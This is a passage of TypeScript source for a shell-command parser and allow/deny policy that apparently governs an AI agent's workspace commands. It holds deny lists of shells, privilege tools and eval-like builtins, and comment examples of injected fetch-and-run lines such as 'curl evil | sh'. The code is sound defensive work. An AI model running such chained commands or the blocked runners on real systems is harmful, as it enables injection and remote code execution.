|| char === \"&\" || char === \"|\" || char === \")\") {\n break;\n }\n\n if (char === \"(\") {\n throw unsupported(\n \"`(` is only supported at the start of a command (a subshell); quote it to pass it as text.\",\n );\n }\n\n if (char === \"#\") {\n this.skipComment();\n\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n if (command.words.length === 0 && word.assignmentName !== undefined) {\n command.assignments.push(word);\n\n continue;\n }\n\n command.words.push(word);\n\n if (command.words.length === 1 && !word.quoted && RESERVED_WORDS.has(word.value)) {\n throw unsupported(\n `\\`${word.value}\\` starts a shell compound command, which is not supported; run the commands one at a time.`,\n );\n }\n }\n\n if (\n command.words.length === 0 &&\n command.assignments.length === 0 &&\n command.redirects.length === 0\n ) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.state.commands.push(command);\n }\n\n private parseRedirect(): ShellRedirect {\n let digits = \"\";\n\n while (/[0-9]/.test(this.peek())) {\n digits += this.peek();\n this.pos++;\n }\n\n const rest = this.src.slice(this.pos, this.pos + 3);\n let op: string;\n\n if (rest.startsWith(\"<<<\")) {\n throw unsupported(\"`<<<` (a here-string) is not portable; use a here-document.\");\n } else if (rest.startsWith(\"<<-\")) {\n op = \"<<-\";\n } else if (rest.startsWith(\"<<\")) {\n op = \"<<\";\n } else if (rest.startsWith(\"<>\")) {\n op = \"<>\";\n } else if (rest.startsWith(\"<&\")) {\n op = \"<&\";\n } else if (rest.startsWith(\"<(\") || rest.startsWith(\">(\")) {\n throw unsupported(\"Process substitution (`<(…)`, `>(…)`) is not supported.\");\n } else if (rest.startsWith(\">>\")) {\n op = \">>\";\n } else if (rest.startsWith(\">|\")) {\n op = \">|\";\n } else if (rest.startsWith(\">&\")) {\n op = \">&\";\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n\n const fd = digits === \"\" ? undefined : Number(digits);\n\n this.skipBlanks();\n\n if (this.atEnd() || /[\\n;&|<>()]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \"<<\" || op === \"<<-\") {\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n if (target.dynamic) {\n throw unsupported(\"A here-document delimiter must be literal text.\");\n }\n\n this.pendingHeredocs.push({\n delimiter: target.value,\n stripTabs: op === \"<<-\",\n expand: !target.quoted,\n });\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"heredoc\" };\n }\n\n if (op === \">&\" || op === \"<&\") {\n if (target.dynamic || !/^(?:[0-9]+|-)$/.test(target.value)) {\n throw unsupported(\n `\\`${op}${target.raw}\\` is not portable; write \\`> file 2>&1\\` to send both streams to a file.`,\n );\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return {\n op,\n ...(fd !== undefined ? { fd } : {}),\n target,\n type: op === \"<\" ? \"read\" : \"write\",\n };\n }\n\n /** Parse one unquoted-context word. */\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n let braces = false;\n let nameCandidate = true;\n let assignmentName: string | undefined;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\" ||\n char === \"(\" ||\n char === \")\"\n ) {\n break;\n }\n\n if (char === \"\\r\" || char === \"\\0\") {\n throw unsupported(\"Carriage returns and NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unsupported(\"The line ends with a backslash.\");\n }\n\n this.pos += 2;\n\n if (next !== \"\\n\") {\n value += next;\n quoted = true;\n nameCandidate = false;\n }\n\n continue;\n }\n\n if (char === \"'\") {\n const closing = this.src.indexOf(\"'\", this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced(\"A `'` quote is never closed.\");\n }\n\n value += this.src.slice(this.pos + 1, closing);\n quoted = true;\n nameCandidate = false;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (char === '\"') {\n const part = this.parseDoubleQuoted();\n\n value += part.value;\n dynamic = dynamic || part.dynamic;\n quoted = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"unquoted\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(false);\n dynamic = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"=\" && nameCandidate && assignmentName === undefined) {\n if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(value)) {\n assignmentName = value;\n }\n\n nameCandidate = false;\n } else if (!/[A-Za-z0-9_]/.test(char)) {\n nameCandidate = false;\n }\n\n if (char === \"*\" || char === \"?\" || char === \"[\") {\n dynamic = true;\n }\n\n if (char === \"~\") {\n const previous = this.src.charAt(this.pos - 1);\n\n if (\n this.pos === start ||\n (assignmentName !== undefined && (previous === \"=\" || previous === \":\"))\n ) {\n dynamic = true;\n }\n }\n\n if (char === \"{\" || char === \"}\") {\n braces = true;\n }\n\n value += char;\n this.pos++;\n }\n\n const raw = this.src.slice(start, this.pos);\n\n if (braces && raw !== \"{}\") {\n throw unsupported(\n `Unquoted \\`{\\` or \\`}\\` in \\`${raw}\\` (brace expansion or a command group) is not supported; quote it.`,\n );\n }\n\n // A lone `[` or `]` is never a glob (it is the `test` command or its end).\n if (raw === \"[\" || raw === \"]\") {\n dynamic = false;\n }\n\n return {\n raw,\n value,\n dynamic,\n quoted,\n ...(assignmentName !== undefined ? { assignmentName } : {}),\n };\n }\n\n /** Parse a `\"…\"` span (cursor on the opening quote). */\n private parseDoubleQuoted(): { value: string; dynamic: boolean } {\n this.pos++;\n\n let value = \"\";\n let dynamic = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n const char = this.peek();\n\n if (char === '\"') {\n this.pos++;\n\n return { value, dynamic };\n }\n\n if (char === \"\\0\") {\n throw unsupported(\"NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n if (next === \"$\" || next === \"`\" || next === '\"' || next === \"\\\\\") {\n value += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n value += char;\n this.pos++;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"dquote\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(true);\n dynamic = true;\n\n continue;\n }\n\n value += char;\n this.pos++;\n }\n }\n\n /** Parse a `$…` expansion (cursor on the `$`). */\n private parseDollar(context: \"unquoted\" | \"dquote\" | \"heredoc\"): {\n text: string;\n dynamic: boolean;\n } {\n const start = this.pos;\n const next = this.peek(1);\n\n if (next === \"(\") {\n if (this.peek(2) === \"(\") {\n throw unsupported(\"`$((…))` (arithmetic expansion) is not supported.\");\n }\n\n this.pos += 2;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `$(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"{\") {\n const closing = this.src.indexOf(\"}\", this.pos + 2);\n\n if (closing === -1) {\n throw unbalanced(\"A `${` is never closed with `}`.\");\n }\n\n const body = this.src.slice(this.pos + 2, closing);\n\n if (!PARAMETER_EXPANSION.test(body)) {\n throw unsupported(\n `\\`\\${${body}}\\` is not a supported parameter expansion; use \\`$name\\`, \\`\\${name}\\` or \\`\\${name:-default}\\`.`,\n );\n }\n\n this.pos = closing + 1;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"[\") {\n throw unsupported(\"`$[…]` (arithmetic expansion) is not supported.\");\n }\n\n if (context === \"unquoted\" && (next === \"'\" || next === '\"')) {\n throw unsupported(`\\`$${next}…${next}\\` quoting is not portable; use plain quotes.`);\n }\n\n if (/[A-Za-z_]/.test(next)) {\n this.pos += 2;\n\n while (/[A-Za-z0-9_]/.test(this.peek())) {\n this.pos++;\n }\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (/[0-9@*#?$!-]/.test(next) && next !== \"\") {\n this.pos += 2;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n // A `$` followed by anything else is an ordinary character.\n this.pos++;\n\n return { text: \"$\", dynamic: false };\n }\n\n /** Parse a backtick substitution (cursor on the opening backtick); returns its source. */\n private parseBackticks(insideDoubleQuotes: boolean): string {\n const start = this.pos;\n let content = \"\";\n\n this.pos++;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n const char = this.peek();\n\n if (char === \"`\") {\n this.pos++;\n\n break;\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced(\"A backtick substitution is never closed.\");\n }\n\n if (next === \"`\" || next === \"\\\\\" || next === \"$\") {\n content += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === '\"' && insideDoubleQuotes) {\n throw unsupported(\n 'An escaped `\\\\\"` inside backticks inside double quotes is not portable; use `$(…)`.',\n );\n }\n\n content += char + next;\n this.pos += 2;\n\n continue;\n }\n\n content += char;\n this.pos++;\n }\n\n this.enterNesting();\n new PosixParser(content, this.state).parseNestedProgram();\n this.exitNesting();\n\n return this.src.slice(start, this.pos);\n }\n}\n\n/** Parser for the restricted `cmd.exe` dialect. */\nclass CmdParser {\n private pos = 0;\n\n public constructor(\n private readonly src: string,\n private readonly commands: ShellSimpleCommand[],\n ) {}\n\n public parseProgram(segments: ShellSegment[]): void {\n if (/[\\r\\n\\0]/.test(this.src)) {\n throw unsupported(\"Line breaks and NUL bytes are not supported in a cmd.exe command line.\");\n }\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\n segments.length === 0\n ? \"The command is empty.\"\n : \"The line ends with an operator but no command follows it.\",\n );\n }\n\n const start = this.pos;\n\n this.parsePipeline();\n\n const end = this.pos;\n\n this.skipBlanks();\n\n const operator = this.readListOperator();\n\n segments.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === null) {\n if (!this.atEnd()) {\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n\n return;\n }\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private skipBlanks(): void {\n while (this.peek() === \" \" || this.peek() === \"\\t\") {\n this.pos++;\n }\n }\n\n private readListOperator(): string | null {\n if (this.peek() === \"&\") {\n if (this.peek(1) === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (this.peek() === \"|\" && this.peek(1) === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n return null;\n }\n\n private parsePipeline(): void {\n this.parseSimpleCommand();\n\n while (this.peek() === \"|\" && this.peek(1) !== \"|\") {\n this.pos++;\n this.skipBlanks();\n\n if (this.atEnd()) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseSimpleCommand();\n }\n }\n\n private atRedirectStart(): boolean {\n const char = this.peek();\n\n if (char === \"<\" || char === \">\") {\n return true;\n }\n\n return /[0-9]/.test(char) && (this.peek(1) === \">\" || this.peek(1) === \"<\");\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd() || this.peek() === \"&\" || this.peek() === \"|\") {\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n command.words.push(word);\n\n if (command.words.length === 1) {\n this.checkCommandWord(word);\n }\n }\n\n if (command.words.length === 0 && command.redirects.length === 0) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.commands.push(command);\n }\n\n private checkCommandWord(word: ShellWord): void {\n if (word.raw.startsWith(\"@\") || word.raw.startsWith(\":\")) {\n throw unsupported(`\\`${word.raw}\\` is not supported as a cmd.exe command name.`);\n }\n\n if (/[/=]/.test(word.value)) {\n throw unsupported(\n `A cmd.exe command name may not contain \\`/\\` or \\`=\\` (\\`${word.value}\\`); use \\`\\\\\\` in paths.`,\n );\n }\n\n if (!word.quoted && CMD_RESERVED_WORDS.has(word.value.toLowerCase())) {\n throw unsupported(\n `\\`${word.value}\\` starts a cmd.exe compound command, which is not supported.`,\n );\n }\n }\n\n private parseRedirect(): ShellRedirect {\n let fd: number | undefined;\n\n if (/[0-9]/.test(this.peek())) {\n fd = Number(this.peek());\n this.pos++;\n }\n\n let op: string;\n\n if (this.src.startsWith(\">>\", this.pos)) {\n op = \">>\";\n } else if (this.src.startsWith(\">&\", this.pos)) {\n op = \">&\";\n } else if (this.src.startsWith(\"<&\", this.pos) || this.src.startsWith(\"<<\", this.pos)) {\n throw unsupported(\n `\\`${this.src.slice(this.pos, this.pos + 2)}\\` is not supported by cmd.exe.`,\n );\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n this.skipBlanks();\n\n if (this.atEnd() || /[&|<>]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \">&\") {\n if (!/^[0-9]$/.test(target.value)) {\n throw unsupported(`\\`>&${target.raw}\\` is not supported; write \\`> file 2>&1\\`.`);\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: op === \"<\" ? \"read\" : \"write\" };\n }\n\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\"\n ) {\n break;\n }\n\n if (char === '\"') {\n const closing = this.src.indexOf('\"', this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n const inner = this.src.slice(this.pos + 1, closing);\n\n if (/[%!]/.test(inner)) {\n throw unsupported(\n \"`%` and `!` expand even inside quotes in cmd.exe; they are not supported.\",\n );\n }\n\n if (value.endsWith(\"\\\\\") || inner.endsWith(\"\\\\\")) {\n throw unsupported(\n 'A backslash before a `\"` is read differently by cmd.exe and programs.',\n );\n }\n\n value += inner;\n quoted = true;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (\n char === \"%\" ||\n char === \"!\" ||\n char === \"^\" ||\n char === \"(\" ||\n char === \")\" ||\n char === \";\" ||\n char === \",\"\n ) {\n throw unsupported(\n `Unquoted \\`${char}\\` has a special meaning in cmd.exe and is not supported.`,\n );\n }\n\n if (char === \"\\\\\" && this.peek(1) === '\"') {\n throw unsupported('A backslash before a `\"` is read differently by cmd.exe and programs.');\n }\n\n if (char === \"*\" || char === \"?\") {\n dynamic = true;\n }\n\n value += char;\n this.pos++;\n }\n\n return { raw: this.src.slice(start, this.pos), value, dynamic, quoted };\n }\n}\n\n/**\n * Parse a command line for the shell policy. Never throws: a construct the\n * parser does not read with confidence comes back as `{ ok: false }` with a\n * message naming it.\n *\n * @example\n * const parsed = parseShellLine(\"git add -A && git commit -m 'wip'\", \"posix\");\n * // parsed.ok === true; parsed.commands.map((c) => c.words.map((w) => w.value))\n * // → [[\"git\", \"add\", \"-A\"], [\"git\", \"commit\", \"-m\", \"wip\"]]\n */\nexport function parseShellLine(line: string, dialect: ShellDialect): ShellParseResult {\n const segments: ShellSegment[] = [];\n\n if (dialect === \"powershell\") {\n return parsePowerShellLine(line);\n }\n\n try {\n if (dialect === \"cmd\") {\n const commands: ShellSimpleCommand[] = [];\n\n new CmdParser(line, commands).parseProgram(segments);\n\n return { ok: true, commands, segments, background: false };\n }\n\n const state: SharedState = { commands: [], background: false, nesting: 0 };\n\n new PosixParser(line, state).parseProgram(segments);\n\n return { ok: true, commands: state.commands, segments, background: state.background };\n } catch (error) {\n if (error instanceof ShellSyntaxRefusal) {\n return { ok: false, reason: error.reason, message: error.message };\n }\n\n throw error;\n }\n}\n","/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\";\", \"&\", \"|\", \"<\", \">\", \"`\", \"$\", \"(\", \")\"]);\n\n/** Two-character operators reported as one token in a refusal. */\nconst TWO_CHARACTER_OPERATORS = new Set([\"&&\", \"||\", \">>\", \"<<\", \"$(\", \"${\", \">&\", \"<&\"]);\n\n/**\n * Why {@link analyzeArgvCommand} could not turn a line into an argv.\n *\n * - `\"empty\"` — nothing but whitespace.\n * - `\"unbalanced-quotes\"` — a `'` or `\"` is never closed (`quote` says which).\n * - `\"metacharacter\"` — an unquoted shell operator (`token`, at `index`).\n */\nexport type ArgvAnalysis =\n | { ok: true; argv: string[] }\n | { ok: false; type: \"empty\" }\n | { ok: false; type: \"unbalanced-quotes\"; quote: \"'\" | '\"'; index: number }\n | { ok: false; type: \"metacharacter\"; token: string; index: number };\n\n/**\n * Tokenize a command line into an argv the way {@link tokenizeCommand}\n * does, but say **why** a line cannot be represented as one argv — which\n * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,\n * a newline, …) was found first. The shell policy uses it to phrase a\n * refusal that tells the model how to split the line.\n *\n * @example\n * analyzeArgvCommand(\"npm test\"); // { ok: true, argv: [\"npm\", \"test\"] }\n * analyzeArgvCommand(\"git add -A && git commit\"); // { ok: false, type: \"metacharacter\", token: \"&&\", index: 11 }\n */\nexport function analyzeArgvCommand(command: string): ArgvAnalysis {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command.charAt(index);\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return { ok: false, type: \"unbalanced-quotes\", quote: char, index };\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\") {\n return { ok: false, type: \"metacharacter\", token: \"\\n\", index };\n }\n\n if (UNQUOTED_METACHARACTERS.has(char)) {\n const pair = command.slice(index, index + 2);\n const token = TWO_CHARACTER_OPERATORS.has(pair) ? pair : char;\n\n return { ok: false, type: \"metacharacter\", token, index };\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? { ok: true, argv } : { ok: false, type: \"empty\" };\n}\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n * {@link analyzeArgvCommand} says why a line was refused.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const analysis = analyzeArgvCommand(command);\n\n return analysis.ok ? analysis.argv : null;\n}\n","import path from \"node:path\";\nimport type { WorkspaceShellRefusalReason } from \"../errors\";\nimport type {\n WorkspaceCommandPattern,\n WorkspaceCommandRule,\n WorkspacePolicy,\n WorkspaceShellAsk,\n WorkspaceShellClassification,\n WorkspaceShellPolicy,\n} from \"../contracts\";\nimport { isInsideJailLexically } from \"./jail\";\nimport {\n canonicalPowerShellArgv,\n normalizePowerShellCd,\n POWERSHELL_CD_NAMES,\n POWERSHELL_DIRECTORY_STACK,\n} from \"./powershell-aliases\";\nimport {\n currentShellHost,\n resolveShell,\n type ResolvedShell,\n type ResolvedShellInterpreter,\n type ShellHost,\n} from \"./shell-interpreter\";\nimport {\n parseShellLine,\n type ShellDialect,\n type ShellSegment,\n type ShellSimpleCommand,\n type ShellWord,\n} from \"./shell-parser\";\nimport { analyzeArgvCommand, tokenizeCommand } from \"./tokenize-command\";\n\n/** How a shell-mode line touches a path the jail has to vet. */\nexport type WorkspaceShellPathAccess = \"read\" | \"write\" | \"cwd\";\n\n/** A path a shell-mode line redirects to/from or `cd`s into. */\nexport interface WorkspaceShellPath {\n /** Absolute path, resolved lexically against the workspace root (or an earlier `cd`). */\n path: string;\n /** What the line does with it. */\n access: WorkspaceShellPathAccess;\n /** The target as written in the line. */\n target: string;\n}\n\n/**\n * The shell policy's verdict on one command line — see\n * {@link checkShellCommand}.\n */\nexport interface WorkspaceShellCheck {\n /** Whether the line may run (path targets still get a symlink-aware recheck in `exec`). */\n allowed: boolean;\n /** Why it was refused. */\n reason?: WorkspaceShellRefusalReason;\n /** Model-facing refusal text: the cause, and how to fix the command. */\n message?: string;\n /** The executable the refusal is about, when there is one. */\n executable?: string;\n /** The redirection target or `cd` directory a `\"path-escape\"` refusal is about. */\n path?: string;\n /**\n * Commands that need a decision from `shell.onAsk` before the line may run.\n * When non-empty, `allowed` is `false` with reason `\"approval-required\"`;\n * the ops layer asks, and refuses with `\"approval-denied\"` if the answer is no.\n */\n asks: WorkspaceShellAsk[];\n /** The argv of every simple command checked, in order (wrapped commands included). */\n commands: string[][];\n /** Shell mode: every redirection target and `cd` directory, for the jail recheck. */\n paths: WorkspaceShellPath[];\n}\n\n/**\n * Programs and shell builtins that run a command or code the policy cannot\n * see (a script string, a file, a command read from input, another user).\n * With deny rules in force they would hide a denied command, so they are\n * refused unless the policy names them in `allow`.\n */\nconst OPAQUE_RUNNERS = new Set([\n // Shells and interpreters of command strings.\n \"sh\",\n \"bash\",\n \"dash\",\n \"zsh\",\n \"ksh\",\n \"mksh\",\n \"ash\",\n \"yash\",\n \"posh\",\n \"fish\",\n \"csh\",\n \"tcsh\",\n \"busybox\",\n \"cmd\",\n \"powershell\",\n \"pwsh\",\n \"wsl\",\n // Run a command as someone else, elsewhere, or out of the process group.\n \"sudo\",\n \"doas\",\n \"su\",\n \"runuser\",\n \"pkexec\",\n \"runas\",\n \"chroot\",\n \"nsenter\",\n \"unshare\",\n \"setsid\",\n \"systemd-run\",\n \"start-stop-daemon\",\n \"daemonize\",\n // Run commands built from input or on a schedule.\n \"xargs\",\n \"parallel\",\n \"watch\",\n \"script\",\n \"expect\",\n \"at\",\n \"batch\",\n \"screen\",\n \"tmux\",\n \"stdbuf\",\n \"flock\",\n]);\n\n/**\n * PowerShell cmdlets and aliases that run code or commands the policy cannot\n * see, or change what later names mean (lowercase).\n */\nconst POWERSHELL_OPAQUE = new Set([\n \"iex\",\n \"invoke-expression\",\n \"invoke-command\",\n \"icm\",\n \"start-process\",\n \"saps\",\n \"start\",\n \"add-type\",\n \"set-alias\",\n \"sal\",\n \"new-alias\",\n \"nal\",\n \"invoke-item\",\n \"ii\",\n]);\n\n/** POSIX shell builtins that evaluate code or change how later names resolve. */\nconst SHELL_OPAQUE_BUILTINS = new Set([\n \"eval\",\n \".\",\n \"source\",\n \"alias\",\n \"unalias\",\n \"hash\",\n \"enable\",\n \"trap\",\n \"let\",\n \"declare\",\n \"typeset\",\n \"local\",\n \"set\",\n \"shopt\",\n \"fc\",\n \"bind\",\n \"complete\",\n \"compgen\",\n \"compopt\",\n \"mapfile\",\n \"readarray\",\n]);\n\n/** cmd.exe builtins that run commands or change the environment. */\nconst CMD_OPAQUE_BUILTINS = new Set([\"call\", \"start\", \"set\", \"pushd\", \"popd\"]);\n\n/**\n * Shell builtins whose arguments bash may evaluate as arithmetic (array\n * subscripts such as `a[$(cmd)]`): their arguments must be literal and free\n * of `[`.\n */\nconst ARITHMETIC_SENSITIVE_BUILTINS = new Set([\n \"test\",\n \"[\",\n \"printf\",\n \"read\",\n \"unset\",\n \"export\",\n \"readonly\",\n \"getopts\",\n \"wait\",\n \"kill\",\n \"shift\",\n \"return\",\n \"exit\",\n \"break\",\n \"continue\",\n \"ulimit\",\n]);\n\n/**\n * Variables a shell-mode line may not assign: they change how the shell\n * parses, traces or resolves what follows (`CDPATH` would move `cd` out of\n * the jail's sight, `PS4` is expanded — command substitutions included —\n * on every traced line, `IFS` re-splits expansions).\n */\nconst SENSITIVE_VARIABLES = new Set([\n \"CDPATH\",\n \"ENV\",\n \"BASH_ENV\",\n \"SHELLOPTS\",\n \"BASHOPTS\",\n \"IFS\",\n \"PS1\",\n \"PS2\",\n \"PS3\",\n \"PS4\",\n \"PROMPT_COMMAND\",\n \"BASH_XTRACEFD\",\n \"GLOBIGNORE\",\n \"EXECIGNORE\",\n \"BASH_LOADABLES_PATH\",\n]);\n\n/** Redirection targets that are always fine even though they sit outside the jail. */\nconst DEVICE_TARGETS = new Set([\"/dev/null\", \"/dev/stdout\", \"/dev/stderr\"]);\n\n/** cmd.exe's null device. */\nconst CMD_DEVICE_TARGETS = new Set([\"nul\"]);\n\n/** Deepest chain of wrappers (`env time nice …`) the policy unwraps. */\nconst MAX_WRAPPER_DEPTH = 8;\n\n/** Most distinct directories a line may `cd` between. */\nconst MAX_CD_CANDIDATES = 32;\n\n/** Longest command shown verbatim in a refusal before it is abbreviated. */\nconst MAX_SHOWN_COMMAND = 48;\n\n/** The dialect `interpreter: \"sh\"` parses on this platform. */\nexport function shellDialect(): ShellDialect {\n return process.platform === \"win32\" ? \"cmd\" : \"posix\";\n}\n\n/**\n * Reduce an argv's first element to the basename the allow/deny policy is\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\n * stripped). The cmd dialect splits Windows paths too.\n */\nexport function executableBasename(firstToken: string, dialect: ShellDialect = \"posix\"): string {\n const base =\n dialect === \"cmd\" || dialect === \"powershell\"\n ? path.win32.basename(firstToken)\n : path.basename(firstToken);\n\n return base.replace(\n dialect === \"powershell\" ? /\\.(exe|cmd|bat|com|ps1)$/i : /\\.(exe|cmd|bat|com)$/i,\n \"\",\n );\n}\n\n/** Show a command in a refusal, abbreviated at a word boundary when long. */\nfunction show(source: string): string {\n const flat = source.replace(/\\s+/g, \" \").trim();\n\n if (flat.length <= MAX_SHOWN_COMMAND) {\n return `\\`${flat}\\``;\n }\n\n const cut = flat.lastIndexOf(\" \", MAX_SHOWN_COMMAND);\n\n return `\\`${flat.slice(0, cut > 0 ? cut : MAX_SHOWN_COMMAND)} …\\``;\n}\n\n/** Compile `denyPatterns` once per check. */\ninterface CompiledPattern {\n source: WorkspaceCommandPattern;\n test(argv: string[], dialect: ShellDialect): boolean;\n}\n\nfunction compilePattern(pattern: WorkspaceCommandPattern): CompiledPattern {\n if (pattern instanceof RegExp) {\n const regex = new RegExp(pattern.source, pattern.flags.replace(/[gy]/g, \"\"));\n\n return {\n source: pattern,\n test: (argv, dialect) =>\n regex.test([executableBasename(argv[0] ?? \"\", dialect), ...argv.slice(1)].join(\" \")),\n };\n }\n\n const tokens = tokenizeCommand(pattern);\n\n if (tokens === null) {\n // Not representable as an argv: match it as text inside the joined argv.\n return {\n source: pattern,\n test: (argv, dialect) =>\n [executableBasename(argv[0] ?? \"\", dialect), ...argv.slice(1)].join(\" \").includes(pattern),\n };\n }\n\n return {\n source: pattern,\n test: (argv, dialect) => {\n if (argv.length < tokens.length) {\n return false;\n }\n\n return tokens.every((token, index) => {\n const actual = argv[index] ?? \"\";\n\n return index === 0\n ? executableBasename(actual, dialect).toLowerCase() ===\n executableBasename(token, dialect).toLowerCase()\n : actual === token;\n });\n },\n };\n}\n\n/** Thrown inside the checker to stop at the first refusal. */\nclass Refusal extends Error {\n public constructor(\n public readonly reason: WorkspaceShellRefusalReason,\n message: string,\n public readonly executable?: string,\n public readonly refusedPath?: string,\n ) {\n super(message);\n }\n}\n\n/** Options a check takes beyond the policy and the 